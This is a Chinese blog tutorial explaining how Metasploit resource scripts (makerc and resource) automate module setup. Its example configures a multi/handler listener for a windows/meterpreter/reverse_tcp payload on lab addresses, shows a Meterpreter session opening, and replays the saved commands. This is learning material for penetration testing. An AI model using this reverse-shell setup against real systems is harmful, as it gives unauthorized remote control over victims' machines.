Metasploit之——资源脚本的使用方法

转载请注明出处:https://blog.csdn.net/l1028386804/article/details/86669528

Metasploit可以通过资源脚本实现自动化——使用资源脚本可以免去手动设置选项,实现选项的自动化设置,从而节省配置模块选项和攻击载荷所花费的时间。

创建资源脚本有两种方法:手动创建脚本或使用makerc命令创建脚本。makerc命令将之前输入过的所有命令都保存到一个文件中,可以使用resource命令使用这个文件。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.175.128
LHOST => 192.168.175.128
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.175.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.175.128:4444 
[*] Sending stage (179779 bytes) to 192.168.175.130
[*] Meterpreter session 1 opened (192.168.175.128:4444 -> 192.168.175.130:1025) at 2019-01-25 23:27:58 +0800

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.175.130 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/handler) > makerc
Usage: makerc <output rc file>

Save the commands executed since startup to the specified file.

msf5 exploit(multi/handler) > makerc multi_handler
[*] Saving last 8 commands to multi_handler ...
msf5 exploit(multi/handler) > 

这里,我们通过设置攻击载荷和各种选项,成功启动了一个渗透模块handler,输入makerc命令就可以将这些命令保存到一个指定的文件中。在这个示例中是multi_handler文件,我们保存了最近使用的8条命令。

接下来,我们就要通过resource命令使用这个资源文件,达到选项的自动化设置,如下所示:

msf5 exploit(multi/handler) > resource multi_handler 
[*] Processing /root/multi_handler for ERB directives.
resource (/root/multi_handler)> use exploit/multi/handler
resource (/root/multi_handler)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (/root/multi_handler)> set LHOST 192.168.175.128
LHOST => 192.168.175.128
resource (/root/multi_handler)> set LPORT 4444
LPORT => 4444
resource (/root/multi_handler)> show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.175.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


resource (/root/multi_handler)> exploit

[*] Started reverse TCP handler on 192.168.175.128:4444 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

冰 河

可以吃鸡腿么?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值